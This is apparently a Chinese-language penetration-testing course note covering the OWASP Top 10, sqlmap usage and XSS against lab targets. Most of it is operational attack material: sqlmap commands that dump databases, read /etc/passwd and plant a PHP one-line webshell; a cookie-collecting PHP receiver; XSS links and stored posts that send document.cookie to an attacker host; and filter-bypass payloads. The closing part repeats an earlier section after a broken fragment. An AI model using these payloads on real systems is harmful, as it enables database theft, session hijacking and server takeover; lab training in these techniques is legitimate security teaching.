本周重点
①渗透测试介绍
②sqlmap注入扫描工具
③XSS脚本注入
本周主要内容
①渗透测试介绍
一、渗透测试
通过模拟黑客对系统进行攻击的手段或技术,在被测系统中发现漏洞的行为。除了提供漏洞之外,还需提供安全意见。
与黑站不同,渗透测试一般情况下,需要授权。
二、测试类型
1、黑盒测试:不能看到源码,只能通过系统页面进行的测试。
2、白盒测试:通过对源码的代码审计进行的测试。也叫玻璃盒测试。
3、灰盒测试:使用方法可以是黑盒,也可以是白盒。二者结合方式。(通过协议方式,可以理解为灰盒)
三、漏洞的生命周期
POC:Proof ofConcept
Exploit,中文意思是“漏洞利用”
CVE 的英文全称是“Common Vulnerabilities & Exposures”,就是通用漏洞披露,是全球统一的对信息安全漏洞或者已经暴露出来的弱点的公共名称
态势感知:实时监控流量业务,发现入侵行为。
1.0day - 1day
2.发掘->利用->传播->补丁->消亡
0day漏洞:又称零日漏洞,是指已经被攻击者发现并开始利用,但还没有被包括受影响软件厂商在内的公众所知的漏洞。
这类漏洞对攻击者来说有完全的信息优势,由于没有漏洞的对应的补丁或临时解决方案,防守方不知道如何防御,攻击者可以达成最大可能的威胁。0day漏洞通常被黑客以高价在黑市上出售,而攻击者则可以静悄悄地利用这些漏洞,直到相关合法机构意识到问题并发布相应的修补程序。由于0day漏洞从被发现到被利用的时间非常短,对于防守方来说,缺乏漏洞细节和具体信息,单纯依靠防火墙或杀毒软件等传统的防御手段难以实施有效检测。因此,阻止0day漏洞利用攻击,最重要的是升级网络防护体系,通过内存保护技术实现实时监控和主动防御。
四、渗透测试流程
五、owasp top 10
**OWASP的全称是Open Web Application Security Project。**这是一个全球性的、非营利的开放式Web应用程序安全项目组织,旨在通过提高设计和开发过程中的安全性来防止Web应用受到黑客攻击。OWASP成立于2004年4月21日,总部位于美国,是一个国际组织,其基金会负责支持世界各地的活动。
(1)失效的访问控制:(cookies就可以被黑客利用,获取高级别的权限)
通俗的说,就是越权。在未通过身份认证的情况下,对系统进行访问。获取与之身份不匹配的访问权限。
①访问其他用户,获取敏感信息;
②修改其他用户数据;
③修改访问权限;
(2)加密机制失效:
以前也叫敏感数据泄露。
①数据采用明文传输。
②用老旧的或者弱加密算法
③未强制执行加密
④不验证服务器证书
(3)注入:
分为sql注入和xss注入:利用web页面上输入域语法校验漏洞,向系统中注入命令或者代码。
①sql注入:将用户的输入内容通过字符串拼接的方式将系统中的sql命令变成另一个sql命令,从而获取数据(拖库)或者获取文件(get shell)。
②xss注入:对用户输入的信息未过滤,将用户输入的代码注入到其他用户的浏览器上。窃取用户信息,伪装身份攻击。
③代码注入:敏感函数中可以执行代码
④命令注入:敏感函数中可以执行操作系统命令。
(4)不安全的设计
2021版新增漏洞,就是指系统在设计上存在的问题。
①弱验证:没有关闭万能验证码
②使用了简单加密
③隐藏的令牌信息
④静态资源注入:上传
(5)安全配置错误
服务器在系统设置中没有安全相关的软件配置或者安全设备设置。
①对应用程序堆栈没有任何安全强化。 补充知识:https://zhuanlan.zhihu.com/p/588249684?utm_id=0
②对云服务权限配置不正确。
③启用了不必要的功能。
④默认账户和密码处于启用状态或者未修改。
⑤错误信息向用户显示。 die(“操作失败!”,mysqli_error($con))
⑥对升级系统,最新安装安全功能被禁用。
⑦服务器中安全设置没有达到安全值
⑧软件过时。
(6)自带缺陷和过时组件;
系统中带有过时组件(已经发现漏洞的组件)
①不知道所使用组件的版本
②不定期扫描组件,不关注官方公告
③没有对组件基于风险而升级
④不测试,不保护组件
(7)身份识别和身份验证错误
攻击者利用用户身份登录系统。
①允许重复多次登录尝试。 验证码 、 限制操作次数
②允许用户使用弱密码。 123456
③密码找回弱验证。
④缺少或者无效的身份验证
⑤在url中公开会话ID
⑥身份失效时间问题。
(8)软件和数据的完整性保障
这也是一个新增的类型,指的是在不验证完整性的情况下做出与软件更新、关键数据和CI/CD管道相关的假设。
①固件更新没有签名
②恶意更新
③不安全的序列化
(9)安全日志和监控故障
指的是在没有日志记录和监控,将无法检测到漏洞,此类故障会直接影响可见性、事件报警和取证。
①不记录可审计的事件
②警告和错误不生成报告,或者报告内容不清楚
③不监控应用程序的可疑操作。
④日志仅存储在本地
⑤适当的报警阈值响应升级流程没有到位
⑥渗透测试和扫描不报警
(10)服务器请求伪造 ssrf
这一漏洞是在行业调查中添加的,数据显示发生概率较低。
①通过url访问资源,获取敏感文件
②通过url进行内网扫描(ip,端口)
②sqlmap注入扫描工具
一、工具安装
1、环境:
python2.7.5
建议安装在linux下:
python -V
2、安装:
(1)将sqlmap.zip 上传放在/opt目录下:
(2)解压:
yum install unzip
unzip sqlmap.zip
(3)授权:
chmod u+x sqlmap.py
二、使用:
1、扫描:
(1) get请求:注意url中最好带上参数,比如id=1
./sqlmap.py -u "url"
(2)拖库:
./sqlmap.py -u "url" --current-db //获取数据库名
./sqlmap.py -u "url" -D 数据库名 --tables //获取表名
./sqlmap.py -u "url" -D 数据库名 -T 表名 --columns //获取所有字段名
./sqlmap.py -u "url" -D 数据库名 -T 表名 -C 字段1,字段2 --dump //获取字段中的值
(3)post请求:
- 需要准备post请求文件:
通过burp拦截请求,copy to file.把请求文件保存下来,或者直接选中请求部分,复制也可以
- 拖库
需要注意:使用头注入参数X-Forwarded-For,这个参数需要放在请求头中,X-Forwarded-For: * ,否则无法注入成功
./sqlmap.py -r "文件名" -p 参数名 //指定参数的post请求扫描
//实际使用案例,获取数据库名称,
./sqlmap.py -r ./postdata.txt -p "X-Forwarded-For" --current-db
//根据数据库名称获取表
./sqlmap.py -r ./postdata.txt -p "X-Forwarded-For" -D posts --tables
以下是postdata.txt 文件内容,注意最后有两个空行
GET /info.php?username=a HTTP/1.1
Host: 192.168.23.128
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
X-Forwarded-For: *
Connection: close
2、状态保持: --cookie
如果请求发送需要前置条件(登录)。可以通过手动登录后,获取已登录的sessionid.在sqlmap中,通过设置cookie方式,绕过登录:
get:
./sqlmap.py -u "url" --cookie=xxxx
post:
./sqlmap.py -r "文件" -p 参数 --cookie=xxx
//实际使用案例
./sqlmap.py -r ./postdata.txt -p "X-Forwarded-For" --cookie=PHPSESSID=k7ht96qm6n6hr34ghlpn4l3666 --current-db
3、getshell:
(1)自动写入木马:–os-shell
建议不使用post请求:
./sqlmap.py -u "http://192.168.32.129/sqlmaster/Less-1/?id=1" --os-shell
(2)读文件: --read-file
./sqlmap.py -u "http://192.168.32.129/sqlmaster/Less-1/?id=1" --file-read "/etc/passwd"
(3)写文件:–file-write 源文件 --file-dest 目标文件
//制作一个一句话木马
echo <?php eval($_POST['a']);?> > /tmp/secure21
//写入木马
./sqlmap.py -u "http://192.168.23.128/info.php?username=1" --file-write "/tmp/secure21" --file-dest "/opt/lampp/htdocs/muma21.php"
③XSS脚本注入
一、XSS概念
cross site scripting: 跨站攻击脚本,主要攻击发生在浏览器这一段,不会对服务器产生影响。
二、危害
1、挖矿
2、植入广告
3、盗取用户cookie:进一步可以窃取用户的资料
4、利用用户的机器,植入木马,进行DDOS攻击
三、Xss攻击的前提
1、页面需要有用户可输入的点
2、用户输入的内容需要回显在页面的某个部分
3、如果构造了一个连接,需要诱导目标用户去点击
四、Xss类型
1、反射型
(1)不修改DOM标签的
弹出一个alert
步骤:
先在靶机上修改list.php的代码,增加输入框和查询按钮
<?php
$sk = @$_GET['sk'];
session_start();
include 'dbinfo.php';
mysqli_set_charset($conn,"utf8");
//查询数据库
$sql = "select * from tb_articles where title like '%$sk%'";
$result = mysqli_query($conn,$sql);
echo "上一次查询关键字:".$sk;
?>
<div align="center">当前登录用户:
<?php
$s = @$_SESSION["loginuser"];
if($s=="ok"){
echo $_SESSION["username"];
}else{
echo "游客";
}
?>
<div>
<form>
<input type="text" name="sk">
<input type="submit" name="submit" value="search">
</form>
<table border="1" align=center>
<tr><td>Id</td><td>标题</td><td>创建时间</td><td>作者</td><td>操作</td></tr>
<?php
while($rows = mysqli_fetch_assoc($result)){
?>
<tr>
<td><?=$rows['id']?></td>
<td> <a href="details.php?id=<?=$rows['id']?>"><?=$rows['title']?> </a></td>
<td><?=$rows['createtime']?></td>
<td><?=$rows['author']?></td>
<td> <a href="delete.php?id=<?=$rows['id']?>">删除</a>
<a href="editarticle.php?id=<?=$rows['id']?>">修改</a>
</td>
</tr>
<?php
}
?>
</table>
<?php
//关闭数据库连接
mysqli_close($conn);
?>
访问靶机的list.php,在查询框里输入:
<script>alert(1)</script>
点击search按钮,看到会弹出一个警告框,把上面的url复制下来
在黑客机器上,创建一个html页面,girl01.html,自己准备一张美女图片,放在girl01.html相同目录中。
注意,这个html中href的跳转连接地址,就从上面图片的中浏览器的url地址栏复制过来。
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>美女图片</title>
</head>
<body>
<a href="http://192.168.75.128/hz02/posts/list.php?sk=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&submit=search">
<img src="0.jpg" width="400px" height="300px">约吗!</a>
</body>
</html>
访问黑客机器上的girl01.html,看到如下页面
鼠标点击“约吗”,网页会跳转到刚刚目标靶机的list.php页面,并且会弹出一个警告框
盗取用户Cookie:
用户已经登录了目标系统,并且在没有关闭浏览器的情况下,用相同的浏览器打开了包含攻击脚本链接
先在黑客的服务器准备一个数据库表,保存受害者的cookie信息
CREATE TABLE `tb_cookie` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`cookie` varchar(1000) DEFAULT NULL,
`createtime` datetime DEFAULT NULL ON UPDATE CURRENT_TIMESTAMP,
`remoteip` varchar(255) DEFAULT NULL,
PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;
准备一个程序,收集受害者的cookie
<?php
//这段程序写在黑客的机器上,用来接收受害用户浏览器的cookie
$ucookie = @$_GET['ucookie'];
$refer = @$_SERVER['HTTP_REFERER'];
$dbhost = "127.0.0.1";
$dbuser = "root";
$dbpass = "";
$dbname = "posts";
$dbport = 3306;
//连接数据库
$conn = mysqli_connect($dbhost,$dbuser,$dbpass,$dbname,$dbport);
//设置数据库连接的编码格式UTF8
mysqli_set_charset($conn,"utf8");
$sql = "insert into tb_cookie(cookie,createtime,remoteip) values('$ucookie',now(),'$refer')";
mysqli_query($conn,$sql);
mysqli_close($conn);
?>
构造一个url链接,可以是一个美女图片,也可以是文字。关键是用户对这个有兴趣,会点击这个连接;
<a href="http://192.168.6.128/hz02/posts/list.php?sk=<script>new Image().src='http://192.168.6.129/xss02/getcookies.php?ucookie='%2bdocument.cookie</script>&search=search">你的申请被拒绝</a>
另外还可以把getcookies.js放在黑客服务器上
//这个js文件放在黑客服务器上
new Image().src='http://192.168.6.129/xss02/getcookies.php?ucookie='+document.cookie;
那么html的url连接就是
<a href="http://192.168.6.128/hz02/posts/list.php?sk=<script src='http://192.168.6.129/xss02/getcookies.js'></script>&search=search">点一下?</a>
(2)修改DOM标签的
php的代码:
<?php
$sk = @$_GET['sk'];
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
aaaa
<!-- <input type="text" id="username" name="username" value=""><script>alert(1)</script><span alt=""> -->
<form>
显示:<input type="text" id="username" name="username" value="<?=$sk?>">
<br>
输入:<input type="text" name="sk" id="sk" >
<br>
<input type="submit" value="search">
</form>
</body>
</html>
在页面的输入框中直接输入
"><script>alert(1)</script><span alt="
点击search按钮,页面弹出警告框
2、存储型
登录靶场,到发帖子页面,内容输入,点击添加按钮保存
<script>alert(1)</script>
保存成功,返回list.php页面,
点击“admin测试xxx”,跳转到详情页面,弹出了警告框
再发一个帖子,包含盗取cookie的xss攻击脚本
帖子的内容是:
<script src="http://192.168.12.129/xss02/getcookies.js"></script>
你能把我怎么样啊?我现在偷了你的cookie,哈哈哈哈
发帖成功后,保存到靶机数据库的帖子内容
任何用户来访问帖子
只要点击了这个有xss攻击脚本的帖子,就会被盗取cookie
可以看到,cookie被发送给黑客,并保存到黑客数据库
五、XSS闯关靶场
在靶机上,安装xss闯关靶场
1、创建一个目录
mkdir -p /opt/lampp/htdocs/xsscg
2、把靶场中的文件直接上传到目录/opt/lampp/htdocs/xsscg
3、如果没有zip 和 unzip就安装一下
yum -y install zip unzip
4、解压缩靶场文件
cd /opt/lampp/htdocs/xsscg
unzip xsscg.zip
5、访问一下靶场(IP地址改成自己的)
http://192.168.75.129/xsscg/xss/
六、安装DVWA靶场
1、把DVWA-master.zip 上传到/opt/lampp/htdocs
2、解压缩:
unzip DVWA-master.zip
3、修改目录名称
mv DVWA-master dvwa
4、修改配置文件
cd dvwa/config
cp config.inc.php.dist config.inc.php
5、访问dvwa,页面上显示为红色No的项目要修改一下,变成绿色即可。
http://192.168.12.128/dvwa/
根据要求,修改配置
chmod 777 /opt/lampp/htdocs/dvwa/hackable/uploads/
改好之后,刷新网页,可以看到已经是Yes
继续修改:
chmod 777 /opt/lampp/htdocs/dvwa/external/phpids/0.6/lib/IDS/tmp/phpids_log.txt
修改完再次刷新页面
继续修改
chmod 777 /opt/lampp/htdocs/dvwa/config
如果这两个参数的值都是On就不需要下面的操作,否则
allow_url_fopen = On
allow_url_include = On
如果allow_url_fopen和allow_url_include任何一个不是On,就修改php.ini
vi /opt/lampp/etc/php.ini
把最前面的分号去掉,并把值修改为On
保存修改后,重启apache
/opt/lampp/xampp restart
看到两个参数的值都是On,就可以了
修改数据库配置
vi /opt/lampp/htdocs/dvwa/config/config.inc.php
根据自己的实际情况修改数据库的用户名和密码,改好保存一下
刷新一下页面,看到数据的用户名和密码已经修改
点击页面底部的create/reset database
创建成功,应该看到
七、BlusLotus工具
1、下载地址,需要注册github账号(前提:需要能上国外的网站)
https://github.com/firesunCN/BlueLotus_XSSReceiver?tab=readme-ov-file
2、把压缩文件上传到攻击机器的/opt/lampp/htdocs目录
3、解压缩
cd /opt/lampp/htdocs
unzip BlueLotus_XSSReceiver-master.zip
4、修改文件夹名称
mv BlueLotus_XSSReceiver-master bluelotus
5、修改目录的权限
chmod -R 777 bluelotus
6、访问主页(ip自己修改)
http://192.168.12.129/bluelotus
点击“安装”按钮。
点击“提交”按钮
点击“登录”按钮
密码是bluelotus
登录成功,看到如下页面
添加一个模板
选择default.js,点击插入模板
添加一个js文件
添加的js会出现在左侧
点击生成Payload按钮,左侧会生成一段javascript的xss攻击脚本
把左边的脚本内容复制,发到帖子内容里
发帖成功,查看一下
当受害者点击这个帖子的标题,查看内容的时候
用鼠标点击右下角的提示,看到有一条记录产生了
查看这条记录,能看到cookie已经被发过来了
八、安装pikachu靶场
1、上传靶场压缩文件到/opt/lampp/htdocs
2、解压缩
unzip pikachu-master.zip
3、改目录名称
mv pikachu-master pikachu
4、修改数据库配置文件
cd pikachu
cd inc
vi config.inc.php
把数据库的用户名,密码根据自己的实际情况修改
修改后,保存
5、重新启动xampp环境
/opt/lampp/xampp restart
6、访问http://192.168.196.128/pikachu/
点击红色字体,进行数据库的初始化
点击“安装/初始化”按钮
看到这个页面说明初始化成功
九、Xss防御
1、使用htmlspecialchars转义函数,把html中字符转码
可以把
单引号,双引号,左尖括号,右尖括号,& 转义成实体字符
为什么要转码?
如果不转码,象< > 在实际的内容中,会在浏览器解析的时候,影响正常的解析,会让浏览器认为是html的标签,
以下网页,在内容中有aaaa<ht,会影响后面的内容展示,所以需要把<转义成 <
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
aaaa<ht
<!-- <input type="text" id="username" name="username" value=""><script>alert(1)</script><span alt=""> -->
<form>
输入:<input type="text" name="sk" id="sk" >
<br>
<input type="submit" value="sea<rch">
<br>
<div> aaas </html> </div>
</form>
</body>
</html>
2、可以使用str_ireplace把一些关键性的字符串替换掉
$sk=str_ireplace('script',"",$sk);
$sk=str_ireplace('href',"",$sk);
$sk=str_ireplace('click',"",$sk);
...........
十、Xss绕过
1、双写绕过
原因:在替换关键字的时候,把关键字替换成了"",
$sk=str_ireplace('script',"",$sk);
可以通过双写script绕过替换
<scriscriptpt>alert(1)</sscriptcript>
2、大小写绕过
原因:在替换的时候没有考虑到大小写敏感的问题
$sk=str_replace('script',"",$sk);
可以通过把单词中的任意字符换成大写绕过
<sCript>alert(1)</sCript>
3、空格绕过
有写程序员会把空格替换掉,破坏html标签的解析规则
$sk=str_replace(" ","",$sk);
此时
<a href="xxxx">点击连接</a> 会被替换成<ahref="xxxx">点击连接</a>,语法会出错
那么可以通过下面的方法绕过
<a/**/href='javascript:alert(1);'>xss漏洞</a>
4、base64编码绕过
有些情况下,没有转义特殊字符,只做了一些关键字的替换,例如把script替换成“ ”,或者scri_pt,那可以考虑使用base64编码方式来绕过,有的浏览器,比如Chrome的高版本,会阻止a标签中的base64编码的执行,可以换其他浏览器试试。
//在帖子内容当中放入如下内容,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==其实就是<script>alert(1)</script>的base64编码形式
payload:
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">aaaaaa</a>
5、url两次编码
程序
员手工进行一次urldecode操作,程序中没有对< > 等字符特殊过滤,可以进行两次url编码绕过
原始的输入:
"><a href="javascript:alert(1)">aaaa</a> <span b="
payload:
经过第一次url编码:
%22%3e%3c%61%20%68%72%65%66%3d%22%6a%61%76%61%73%63%72%69%70%74%3a%61%6c%65%72%74%28%31%29%22%3e%61%61%61%61%3c%2f%61%3e%20%3c%73%70%61%6e%20%62%3d%22
把上面这些经过编码的内容再一次进行url编码
%25%32%32%25%33%65%25%33%63%25%36%31%25%32%30%25%36%38%25%37%32%25%36%35%25%36%36%25%33%64%25%32%32%25%36%61%25%36%31%25%37%36%25%36%31%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%61%25%36%31%25%36%63%25%36%35%25%37%32%25%37%34%25%32%38%25%33%31%25%32%39%25%32%32%25%33%65%25%36%31%25%36%31%25%36%31%25%36%31%25%33%63%25%32%66%25%36%31%25%33%65%25%32%30%25%33%63%25%37%33%25%37%30%25%36%31%25%36%65%25%32%30%25%36%32%25%33%64%25%32%32
注意:经过两次编码的内容不能直接在浏览器上跟在sk的参数后面,也不能在form表单中提交,因为浏览器会自动的把%再次编码,导致错误。
可以使用burp拦截,直接把请求参数改成以上经过两次url编码的内容。
代码:
<?php
$sk = @$_GET['sk'];
echo $sk;
//此时打印
echo "<br>";
$sk = str_ireplace("script","scr_ipt",$sk);
echo $sk;
echo "<br>";
$sk = urldecode($sk);//程序员很小心,手工进行urldecode
echo $sk;
//此时打印
echo "<br>";
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<form>
显示:<input type="text" value="<?=$sk?>" maxlength="1000">
<br>
输入:<input type="text" name="sk" id="sk">
<br>
<input type="submit" value="search">
</form>
</body>
</html>
6、html实体编码绕过
当程序去替换一些关键字例如:onclick,javascript,onblur,可以进行HTML转码绕过
html转码工具:
https://www.toolzl.com/tools/htmlende.html
原始的输入:
javascript:alert(1) 这个会被改为javascr_ipt:alert(1)无法执行
经过html转码后
javascript:alert(1)
输入即可绕过
代码:
<?php
$sk = @$_GET['sk'];
$sk = str_ireplace("script","scr_ipt",$sk);
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<form>
<!-- dddd -->
<a id="a" href="<?=$sk?>">友情链接</a>
<!-- 显示:<input type="text" value="<?=$sk?>" maxlength="1000"> -->
<br>
输入:<input type="text" name="sk" id="sk">
<br>
<input type="submit" value="search">
</form>
</body>
</html>
十一、XSStrike工具
下载地址:https://gitee.com/mirrors/XSStrike
需要先安装python3才可以运行
下载后,直接解压缩即可使用。
使用工具扫描XSS
" id=“sk”>
<br>
<input type="submit" value="search">
```
6、html实体编码绕过
当程序去替换一些关键字例如:onclick,javascript,onblur,可以进行HTML转码绕过
html转码工具:
https://www.toolzl.com/tools/htmlende.html
原始的输入:
javascript:alert(1) 这个会被改为javascr_ipt:alert(1)无法执行
经过html转码后
javascript:alert(1)
输入即可绕过
代码:
<?php
$sk = @$_GET['sk'];
$sk = str_ireplace("script","scr_ipt",$sk);
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<form>
<!-- dddd -->
<a id="a" href="<?=$sk?>">友情链接</a>
<!-- 显示:<input type="text" value="<?=$sk?>" maxlength="1000"> -->
<br>
输入:<input type="text" name="sk" id="sk">
<br>
<input type="submit" value="search">
</form>
</body>
</html>
十一、XSStrike工具
下载地址:https://gitee.com/mirrors/XSStrike
需要先安装python3才可以运行
下载后,直接解压缩即可使用。
使用工具扫描XSS